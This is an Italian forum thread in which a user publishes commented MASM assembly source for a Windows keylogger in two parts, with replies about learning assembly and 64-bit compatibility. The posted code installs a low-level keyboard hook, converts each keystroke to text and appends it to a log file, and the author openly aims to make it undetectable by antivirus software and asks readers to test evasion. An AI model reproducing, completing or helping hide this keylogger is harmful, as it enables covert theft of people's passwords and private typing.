vita di un keylogger in ASM [source]

Stato
Discussione chiusa ad ulteriori risposte.

Predator

Utente Storico
11 Giugno 2007
3,203
47
1,268
900
No, non è un documentario di Piero Angela :D
Dato che era un po', che a causa del lavoro, non pubblicavo codice ho deciso di prendere in mano un progetto, riscriverlo in modo decente, miglioralo e commentarlo al fine di renderlo il più possibile comprensibile.
Quello di cui sto parlando è un keylogger scritto in asm 32bit per windows (NT based percio da XP in su).
Inizierò pian piano aggiungendo sempre di più parti in modo che tutti (o quasi) possano capire.
Uno degli intenti sarà anche quello di scrivere il codice in modo da non infastidire gli antivirus e pertanto renderlo non identificabile (speriamo di farcela). Su questo punto saranno preziosi i vostri test.
L'editor che userò sarà WinAsm, cmq potete usare quello che volete voi.

Iniziamo:
La dura vita di un keylogger, tratto da una storia vera ;-)

PARTE 1:
-verifica una sola istanza del programma
-crea un hot-key
-verifica se esiste il file di log, altrimenti lo crea
-apre il file log in scrittura
-accoda del testo
-esce quando si preme l'hot-key (potete verificare dal task manager che il processo si chiude)
note: perciò in questa prima parte non intercettiamo la battitura dei caratteri... ma nella seconda parte si ;-)
Codice:
.486
.model flat, stdcall
option casemap:none

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;FACCIO UNA MACRO CHE SARA' COMODA PER ANDARE A SCRIVERE
;NEL FILE. SE FAREMO DI MACRO MOLTE AL LIMITE LE SPOSTEREMO 
;IN UN FILE APPOSITO, AL MOMENTO C'E' POCO CODICE
;PERCIO' LA LASCIO QUI.
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;INIZIO MACRO
fScrivi MACRO hFile,Buffer
	LOCAL var
	.data?
		var dd ?
	.CODE
	invoke lstrlen, Buffer ;METTE IN EAX LA DIMENSIONE DEL BUFFER
	;SCRIVE IL BUFFER NEL FILE, TANTI CARATTERI QUANTI IN EAX
	invoke WriteFile,hFile, Buffer,EAX,ADDR var,NULL
ENDM
;FINE MACRO

.DATA
szDati		db "Log file by Predator",13,10,0h		;pubblicità :D
hFile		dd		0h 	;SARA' L'HANDLE DEL MIO FILE DI LOG
hHook		dd		0h	;SARA' L'HANDLE DEL L'HOOKING
Msg			MSG		<>	;DICHIARO UNA STRUTTURA MESSAGGI EVENTI
szMutex		db		"PreddyKL",0h	;UN TESTO A PIACERE PER VERIFICARE UNA SOLA ISTANZA DEL PROGRAMMA
szNomeFile	db		"Log.txt",0h	;IL NOME DEL FILE DI LOG

.CODE

START:
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;PER AVVIARE UNA SOLA ISTANZA DEL PROGRAMMA
;SE E' GIA' IN ESECUZIONE ESCO ALTRIMENTI SALTO A _UNICO
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
	invoke	 CreateMutexA,0,0,ADDR szMutex
	invoke	 GetLastError
	CMP EAX, ERROR_ALREADY_EXISTS	;nota: ERROR_ALREADY_EXISTS NEL MIO XP HA IL VALORE B7h 
	JNZ _UNICO	;SE EAX E' ZERO ALLORA SALTO ALLA LABEL _UNICO	
	JMP _EXIT	;ALTRIMENTI SALTO ALLA FINE
_UNICO:

;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;CREO UN HOT-KEY, TIPICAMENTE SI USANO I TASTI
;CTRL+ALT+[TASTO] IO HO SCELTO F12
;LO MAPPO CON L'IDENTIFICATIVO CASUALMENTE SCELTO 0CA05EFFh
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
	XOR EBX,EBX	;PREPARO IL REGISTRO EBX PERCHE' CONTERRA' IL NOSTRO ThreadID
				;DA PASSARE ALL'HOOK DELLA TASTIERA
	invoke RegisterHotKey, NULL, 0CA05EFFh, MOD_CONTROL or MOD_ALT, VK_F12
	
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;CERCO DI APRIRE IL FILE, SE NON ESISTE LO CREO
;POI METTO L'HANDLE DEL FILE IN hFile
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««	
	invoke CreateFile,ADDR szNomeFile,GENERIC_READ or GENERIC_WRITE,
                        NULL,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL

	.IF EAX == 0FFFFFFFFh	;SE IL FILE NON ESISTE ALLORA LO CREO
							;NOTIAMO CHE -1 E 0FFFFFFFFh SONO LA STESSA COSA
		invoke CreateFile,ADDR szNomeFile,GENERIC_READ or GENERIC_WRITE,
                        NULL,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL
		CMP EAX, -1	;SE LA FUNZIONE RESTITUISCE -1 ALLORA
    	JE  _EXIT	;NON SONO RIUSCITO A CREARE IL FILE PERCIO' SALTO
	.ENDIF
    MOV hFile, EAX	;METTE IN hFile L'HANDLE DEL FILE APERTO/CREATO
    invoke GetFileSize,hFile,NULL 	;LEGGO LA DIMENSIONE DEL FILE

;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;SPOSTO IL PUNTATORE DI INIZIO SCRITTURA ALLA DIMENSIONE DEL
;FILE, COSI' NON SOVRASCRIVO I DATI SCRITTI IN PRECEDENZA
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
	invoke SetFilePointer,hFile,EAX,0,0
	fScrivi hFile,ADDR szDati	;USIAMO LA MACRO PER SCRIVERE COMODAMENTE NEL FILE
	invoke GetModuleHandle, NULL ;OTTENIAMO L'HANDLE DEL NOSTRO MODULO
	
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;CON GetMessage INTERCETTEREMO L'HOT-KEY CREATO PRIMA	
;PER PROSEGUIRE ATTENDE UN "MESSAGGIO" DAL PROGRAMMA E PASSA
;IL PUNTATORE ALLA STRUTTURA Msg
;NON AVENDO UNA GUI NEL NOSTRO CASO ATTENDE L'HOT KEY CHE
;ABBIAMO SETTTATO PRIMA COME CTRL+ALT+F12
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««  
	invoke GetMessage, ADDR Msg, NULL, NULL, NULL ;ATTENDE...
	invoke CloseHandle,hFile	;CHIUDE IL FILE
_EXIT:
	invoke ExitProcess,NULL
	RET
END START
PARTE 2:
-crea un hook alla tastiera
-intercetta la pressione dei tasti
-esclude l'evento keyup per non sdoppiare il log
-converte il codice del tasto in ascii
-salva su file i tasti premuti (ma ancora grezzo in quanto non riconosce tasti sistema)
Codice:
.486
.model flat, stdcall
option casemap:none

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

;Dichiaro il mio ProtoTipo per l'hook della tastiera
MyKeyboardProc PROTO :DWORD, :WPARAM, :LPARAM

;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;FACCIO UNA MACRO CHE SARA' COMODA PER ANDARE A SCRIVERE
;NEL FILE. SE FAREMO DI MACRO MOLTE AL LIMITE LE SPOSTEREMO 
;IN UN FILE APPOSITO, AL MOMENTO C'E' POCO CODICE
;PERCIO' LA LASCIO QUI.
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;INIZIO MACRO
fScrivi MACRO hFile,Buffer
	LOCAL var
	.data?
		var dd ?
	.CODE
	invoke lstrlen, Buffer ;METTE IN EAX LA DIMENSIONE DEL BUFFER
	;SCRIVE IL BUFFER NEL FILE, TANTI CARATTERI QUANTI IN EAX
	invoke WriteFile,hFile, Buffer,EAX,ADDR var,NULL 
ENDM
;FINE MACRO

.DATA
szDati		db "Log file by Predator",13,10,0h		;pubblicità :D
hFile		dd		0h 	;SARA' L'HANDLE DEL MIO FILE DI LOG
hHook		dd		0h	;SARA' L'HANDLE DEL L'HOOKING
Msg			MSG		<>	;DICHIARO UNA STRUTTURA MESSAGGI EVENTI
						;APPROFONDITE SU: http://msdn.microsoft.com/en-us/library/ms644967%28VS.85%29.aspx
						;OPPURE CERCATE L'ARGOMENTO "KBDLLHOOKSTRUCT Structure"

szMutex		db		"PreddyKL",0h	;UN TESTO A PIACERE PER VERIFICARE UNA SOLA ISTANZA DEL PROGRAMMA
szNomeFile	db		"Log.txt",0h	;IL NOME DEL FILE DI LOG

TASTOCAR db "%s",0h
.DATA?
szFinalString db 512 dup (?)
.CODE

START:
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;PER AVVIARE UNA SOLA ISTANZA DEL PROGRAMMA
;SE E' GIA' IN ESECUZIONE ESCO ALTRIMENTI SALTO A _UNICO
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
	invoke	 CreateMutexA,0,0,ADDR szMutex
	invoke	 GetLastError
	CMP EAX, ERROR_ALREADY_EXISTS	;nota: ERROR_ALREADY_EXISTS NEL MIO XP HA IL VALORE B7h 
	JNZ _UNICO	;SE EAX E' ZERO ALLORA SALTO ALLA LABEL _UNICO	
	JMP _EXIT	;ALTRIMENTI SALTO ALLA FINE
_UNICO:

;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;CREO UN HOT-KEY, TIPICAMENTE SI USANO I TASTI
;CTRL+ALT+[TASTO] IO HO SCELTO F12
;LO MAPPO CON L'IDENTIFICATIVO CASUALMENTE SCELTO 0CA05EFFh
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
	XOR EBX,EBX	;PREPARO IL REGISTRO EBX PERCHE' CONTERRA' IL NOSTRO ThreadID
				;DA PASSARE ALL'HOOK DELLA TASTIERA
	invoke RegisterHotKey, NULL, 0CA05EFFh, MOD_CONTROL or MOD_ALT, VK_F12
	
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;CERCO DI APRIRE IL FILE, SE NON ESISTE LO CREO
;POI METTO L'HANDLE DEL FILE IN hFile
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««	
	invoke CreateFile,ADDR szNomeFile,GENERIC_READ or GENERIC_WRITE,
                        NULL,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL

	.IF EAX == 0FFFFFFFFh	;SE IL FILE NON ESISTE ALLORA LO CREO
							;NOTIAMO CHE -1 E 0FFFFFFFFh SONO LA STESSA COSA
		invoke CreateFile,ADDR szNomeFile,GENERIC_READ or GENERIC_WRITE,
                        NULL,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL
		CMP EAX, -1	;SE LA FUNZIONE RESTITUISCE -1 ALLORA
    	JE  _EXIT	;NON SONO RIUSCITO A CREARE IL FILE PERCIO' SALTO
	.ENDIF
    MOV hFile, EAX	;METTE IN hFile L'HANDLE DEL FILE APERTO/CREATO
    invoke GetFileSize,hFile,NULL 	;LEGGO LA DIMENSIONE DEL FILE

;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;SPOSTO IL PUNTATORE DI INIZIO SCRITTURA ALLA DIMENSIONE DEL
;FILE, COSI' NON SOVRASCRIVO I DATI SCRITTI IN PRECEDENZA
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
	invoke SetFilePointer,hFile,EAX,0,0
	fScrivi hFile,ADDR szDati	;USIAMO LA MACRO PER SCRIVERE COMODAMENTE NEL FILE
	invoke GetModuleHandle, NULL ;OTTENIAMO L'HANDLE DEL NOSTRO MODULO

;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;ORA SETTIAMO IL NOSTRO HOOK ALLA TASTIERA
;DATE UNO SGUARDO SU:
;http://msdn.microsoft.com/en-us/library/ms644959%28VS.85%29.aspx
;SE IL LINK NON FUNZIONA L'ARGOMENTO DA APPROFONDIRE E' 
;LA FUNZIONE LowLevelKeyboardProc
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
	invoke SetWindowsHookEx, WH_KEYBOARD_LL, ADDR MyKeyboardProc, EAX, EBX 
	MOV hHook, EAX 	;SALVO L'HANDLE DELL'HOOKING IN hHook

;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;CON GetMessage INTERCETTEREMO L'HOT-KEY CREATO PRIMA	
;PER PROSEGUIRE ATTENDE UN "MESSAGGIO" DAL PROGRAMMA E PASSA
;IL PUNTATORE ALLA STRUTTURA Msg
;NON AVENDO UNA GUI NEL NOSTRO CASO ATTENDE L'HOT KEY CHE
;ABBIAMO SETTTATO PRIMA COME CTRL+ALT+F12
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««  
	invoke GetMessage, ADDR Msg, NULL, NULL, NULL ;ATTENDE...
	invoke CloseHandle,hFile	;CHIUDE IL FILE
_EXIT:
	invoke ExitProcess,NULL
	MyKeyboardProc PROC nCode:DWORD, wParam:DWORD, lParam:DWORD
		;VARIABILI LOCALI
		LOCAL	lpKeyState[256]	:BYTE ;QUESTO ARRAY CONTERRA' DELLO STATO DI OGNI TASTO PREMUTO 
		LOCAL	lpCarBuf[32]	:BYTE 
		

		LEA	EDI, [lpKeyState]	;METTO NEL REGISTRO EDI IL VALORE DELL'INDIRIZZO
								;DELLA VARIABILE lpKeyState, NON IL SUO VALORE.
								;ERA LA STESSA COSA SCRIVERE:
								;MOV EDI, DWORD PTR[lpKeyState]
	
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;QUANDO PREMIAMO UN TASTO SCATURISCONO 3 EVENTI
;IL KEY DOWN, IL KEY PRESS, E IL KEY UP
;A NOI INTERESSA SOLO QUANDO UN TASTO VIENE PREMUTO E NON
;QUANDO VIENE RILASCIATO, PERCIO' SE INCONTRIAMO L'EVENTO
;WM_KEYUP OPPURE WM_SYSKEYUP SALTIAMO IL LOGGING PER NON
;SDOPPIARE LA REGISTRAZIONE DEI TASTI PREMUTI.
;IL WM_KEYUP E' PER I TASTI NORMALI
;IL WM_SYSKEYUP E' PER I TASTI SPECIALI TIPO IL CONTROL O
;L'ALT. 
;PER CAPIRCI, SE QUESTO CODICE FOSSE SCRITTO IN C
;PROBABILMENTE SAREBBE COSI:
;const int WM_KEYDOWN = 0x100;
;const int WM_SYSKEYDOWN = 0x104;
;if ((msg.Msg == WM_KEYDOWN) || (msg.Msg == WM_SYSKEYDOWN))
;SALTA AL PROSSIMO EVENTO
;
;ghèto capìo? (DIALETTO VENETO RULEZ) ;-)
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
	MOV EAX, wParam		;CARICO IN EAX IL VALORE DEL wParam APPENA DESCRITTO SOPRA
	CMP EAX, WM_KEYUP	;CONFRONTO SE E' UN KEY UP
	JE	_NEXT_HOOK		;SE E' UN KEY UP ALLORA SALTO AL PROSSIMO HOOK DI TASTIERA
	
	CMP EAX, WM_SYSKEYUP	;CONFRONTO SE E' UN SYSTEM KEY UP	
	JE	_NEXT_HOOK			;SE E' UN SYSTEM KEY UP ALLORA SALTO AL PROSSIMO HOOK DI TASTIERA
	
	MOV ESI,lParam		;lParam CONTIENE L'INDIRIZZO DEL CATTERE e lo SCANCODE (VEDI STRUTTURA MSG)
						
	LODSD	;QUESTO COMANDO E' MOLTO SIMPATICO :)
			;TRASFERISCE IN EAX UN VALORE DWORD, PRENDENDO
			;TALE DATO DALLA LOCAZIONE DI MEMORIA DS:ESI
			;EQUIVALE A SCRIVERE:
			;MOV EAX,DS:[ESI]
			;ADD ESI,4
			;COSI' PRENDO IL VALORE DEL TASTO PREMUTO
			;DAL SUO SEGMENTO DI MEMORIA E LO METTO IN EAX
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;OK ARRIVATI QUESTO PUNTO IN EAX HO IL VALORE DEL TASTO
;PREMUTO ES. SE HO PREMURO (a) AVRO' 61h IN EAX
;DOPO IL PRELIEVO CON LODSD IN ESI RIMANE IL VALORE DEL

;HARDWARE SCAN CODE, CHE PRELEVO ALLO STESSO MODO
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««

;NOTA: SICCOME LODSD MI SCRIVE IN EAX, E AL MOMENTO IN EAX
;HO IL VIRTUAL CODE, LO SPOSTO IN UN REGISTRO CHE NON STO USANDO
;PER ESEMPIO EDX, ALTRIMENTI PERDEREI IL DATO :)
	MOV EDX,EAX
	LODSD	;COME GIA' DETTO ORA HO L'HARDWARE  SCAN CODE IN DS:ESI E LO RECUPERO
			;COME ABBIAMO FATTO SOPRA

;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;ToASCII COSA FA? EH EH EH! NON LO SO, SCHERZO :D
;TRADUCE LO SPICIFICO VIRUTAL-KEY CODE NEL CORRISPONDENTE CARATTERE ASCII
;LA FUNZIONE TRADUCE IL CODICE DEL CARATTERE IN BASE AL LAYOUT DELLA TASTIERA
;ToAScii lo troviamo nell'include della user32 :)
;MA VEDIAMOLO IN DETTAGLIO, I PARAMETRI RICHIESTI SONO:
;Virtual-key: 			codice da tradurre (input).
;Hardware Scan Code: 	stato del tasto(keyup, keypress,keydown) (input)
;KeyState: 				un puntatore verso un array di 256 nyte che contiene lo stato corrente della tastiera. (input)
;						In ogni elemento (byte) di questo array è contenuto lo stato di ogni tasto.
;lpwTransKey:			un buffer nel quale la funzione ritornerà il carattere una volta tradotto, 
;						cioè andrà a scrivere su questa variabile(perciò è un output)
;fuState:				Specifica se un menù è attivo, il parametro è 1 se un menù è attivo altrimenti 0 (input)
;						e non mi interessa specificarlo.
;UH CHE BELLO NON L'AVEVO MAI VISTO SPIEGATO COSI' BENE IN GIRO ;D
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««

;RICAPITOLIAMO COSA HO NEI REGISTRI:
;EDX: VIRTUAL KEYCODE
;EAX: SCAN CODE
;EDI: STATO TASTIERA
;EBX: L'INDIRIZZO DOVE REGISTREREMO IL TASTO TRADOTTO DALLA FUNZIONE ToAscii
LEA	EBX, [lpCarBuf] ;Ehm.... EBX non l'avevo ancora assegnato, rimedio :)
	
;FINALMENTE USIAMO LA FUNZIONE
	invoke ToAscii,EDX,EAX,EDI,EBX,0H	;perciò dalle informazioni lette sopra, ora sapete che una volta eseguita
										;il registro EBX conterrà il virtual-key tradotto in ascii.

;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;GRAZIE ALLA FUNZIONE wsprintf (COME MOLTI GIA' SAPRANNO) POSSO OTTENERE UN DATO FORMATTATO
;(INTESO COME FORMATO TESTO/INTERO/ESADECIMALE...) DA UN BUFFER SPECIFICATO
;DOCUMENTATEVI QUI: http://msdn.microsoft.com/en-us/library/ms647550%28VS.85%29.aspx
;NEL NOSTRO CASO TRASFORMERO' IL DATO UTILIZZANDO IL TIPO %s, CIOE' STRINGA, CHE HO DICHIARATO
;NELLA VARIABILE "TASTOCAR" (VEDI DICHIARAZIONI SOPRA)
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
	invoke wsprintf,ADDR szFinalString,OFFSET TASTOCAR, EBX	;COME APPENA SPIEGATO, DOPO QUESTA FUNZIONE
															;szFinalString CONTERRA' IL CARATTERE PREMUTO
															  
	fScrivi hFile,ADDR szFinalString;USIAMO SEMPRE COMODA LA MACRO PER SCRIVERE COMODAMENTE NEL FILE

;PROSSIMO HOOK DI TASTIERA :)
_NEXT_HOOK:
	invoke	CallNextHookEx, hHook, nCode, wParam, lParam

	Ret
MyKeyboardProc endp

	RET
END START
DOWNLOAD:
PARTE1 http://tinyurl.com/2eqzxry
PARTE2 http://tinyurl.com/24lz6ju

Ciauz
Predator
 
  • Mi piace
Reazioni: iStefano
bella idea.... sperando che la usino per capire l'asm su windows a livelli più elevati che il classico ritorno del dos^^
 
Fantastico Preddy, seguirò la cosa (è il momento di sporcarsi un po' le mano con low level stuff :p)

Perché non hosti il codice su github? Così sarà sempre possibile vedere come il progetto è partito e come si è evoluto seguento la storia dei commit.

http://github.com

sarebbe il massimo
 
Bene ragazzi son contento che vi interessi, forse riesco a scrivere la seconda parte oggi stesso, pertanto salvo ritardi questa sera la pubblico :)
Whivel esatto, proprio per questo scrivo codice sia con sintassi low che hi (esempio uso anche .IF invece di solo CMP) e utilizzo invoke proprio per familiarizzare al massimo :)
tilde non avevo mai visto quel sito, thx.
Scienzy quelli sono progetti a lunga scadenza, cmq un tantino off-topic :)
Se avete domande non esitate a chiedere
 
scusa se son pignolo pred, ma l'NT non veniva usato nei s.o. casalinghi dal windows 2000?
 
per NT based si intende kernel a 32 bit dal 2000 in su ovvero 2000, NT,XP,Vista, Seven
niente win 9.x, niente sistemi ibridi.

aggiornamento: sta sera sono ad un compleanno, domani posto nuovo codice :)
 
[ot]preddy:
you-lose-jeter.jpg
[/ot]
 
wiki ha detto:
come successore di Windows NT 4.0. Al pari del suo predecessore, Windows 2000 è pensato per essere usato in ambito professionale e come server, grazie alle elevate prestazioni, stabilità e sicurezza. L'edizione Professional è destinata a CAD, grafica, calcolo matematico e come workstation personale in ambito aziendale
non è propriamente client.
cmq se si considera il 2000 come client si dovrebbe considerare anche NT3.1 del 1993
 
cmq, sto imparando molto da quel code, appena avrò abbastanza tempo (cioè quando finisce la scuola cioè la sett prossima) mi metterò a studiare e fare qualche prova.

Ma volevo chiedere: visto che io un processore a 64bit, vi sono differenza enormi fra le due architetture? (non serve che entrate nel dettaglio, poi me le googlo, volevo solo sapere se erano talmente tante che mi conveniva vedermele dopo o se potevo fare direttamente)
 
Silent_Death ha detto:
Quello di cui sto parlando è un keylogger scritto in asm 32bit per windows (NT based percio da XP in su).

questo è quello che avevi affermato :asd:

ero stato troppo approssimativo

Malex ha detto:
cmq, sto imparando molto da quel code, appena avrò abbastanza tempo (cioè quando finisce la scuola cioè la sett prossima) mi metterò a studiare e fare qualche prova.

Ma volevo chiedere: visto che io un processore a 64bit, vi sono differenza enormi fra le due architetture? (non serve che entrate nel dettaglio, poi me le googlo, volevo solo sapere se erano talmente tante che mi conveniva vedermele dopo o se potevo fare direttamente)

No, non ci sono molte differenze, basta riadattare alcune variabili e/o chiamate.
oltre ad esserci i registri a 32bit EAX, EBX, ECX, EDX... ci saranno i rispettivi a 64bit; RAX, RBX, RCX, RDX...
diciamo che detta cosi' è molto molto sintetico, ma esprime il concetto base.
 
Grazie predator! è molto interessante! finito il corso di architettura dei calcolatori da poco sono ancora più interessato a questo "maneggiare" a basso livello con il computer... Magari come esercizio provo a farne un corrispettivo linux una volta che comprendo come funziona in linea di massima, così vedremo se ho imparato ^^
(tralaltro questo argomento è stata una mia domanda "scomoda" al professore quando parlavamo di possibili modifiche agli interrupt ahahah)
 
ok ragazzi ho completato la seconda parte, mi mancano un paio di commenti e un po di verifica, ora devo uscire domani lo pubblico.
in questa seconda parte creeremo l'hook alla tastiera e scriveremo cio' che viene premuto nel file di log
 
PARTE 2:
OK pubblicata la seconda parte:
-crea un hook alla tastiera
-intercetta la pressione dei tasti
-esclude l'evento keyup per non sdoppiare il log
-converte il codice del tasto in ascii
-salva su file i tasti premuti (ancora grezzo in quanto non riconosce tasti sistema)

ho creato un PROTO TIPO per gestire l'hooking della tastiera
Codice:
MyKeyboardProc PROTO :DWORD, :WPARAM, :LPARAM
ho dichiarato la struttura messaggi per gestire gli eventi:
Codice:
Msg			MSG		<>
ho aggiunto queste nuove variabili che serviranno per ottenere il carattere premuto
Codice:
TASTOCAR db "%s",0h
.DATA?
szFinalString db 512 dup (?)
ovviamente c'è la funzione
Codice:
MyKeyboardProc
che è tutta nuova e mooolto commentata.
Al momento l'intercettazione dei tasti è ancora grezza in quanto non riconosce i tasti di sistema tipo shift control alt... perciò quando verranno premuti come risultato otterremo uno "sdoppiamento" del tasto premuto prima. Inoltre per ora non codifica bene l'invio e qualche altro carattere particolare che vedremo di fixare nella terza parte
Se avete domande chiedete :)
 
Premesso che non ho modo di verificarlo rispondo secondo quanto penso:
teoricamente si, dovrebbe funzionare... perchè il programma verra' eseguito dall'OS in modalità a 32bit e non a 64.
note:
ho avuto l'accortezza di usare
LODSD
invece di scrivere
MOV EAX,DS:[ESI]
ADD ESI,4

se fosse stato a 64 bit avrei dovuto scrivere
MOV EAX,DS:[RSI]
ADD ESI,4
invece ho usato LODSD e già questo è un vantaggio.
Pero' nel 64 bit dovrebbe ritornare il dato in RAX invece di EAX per questo per essere COMPLILATO a 64 bit bisogna fare delle sistemazioni al codice...
mentre per essere ESEGUITO dall'os a 64 bit non dovrebbero esserci problemi. (ma non ho modo di verificare)
 
Non penso ci siano problemi.. alla fine penso verrà vista come una applicazione x86 eseguibile lo stesso da una piattaforma in 64bit
 
bhe se nessuno ha domande e in attesa di un test su os a 64 bit,
proseguo con la terza parte, nella quale miglioreremo notevolmente l'hooking dei tasti :)
 
Stato
Discussione chiusa ad ulteriori risposte.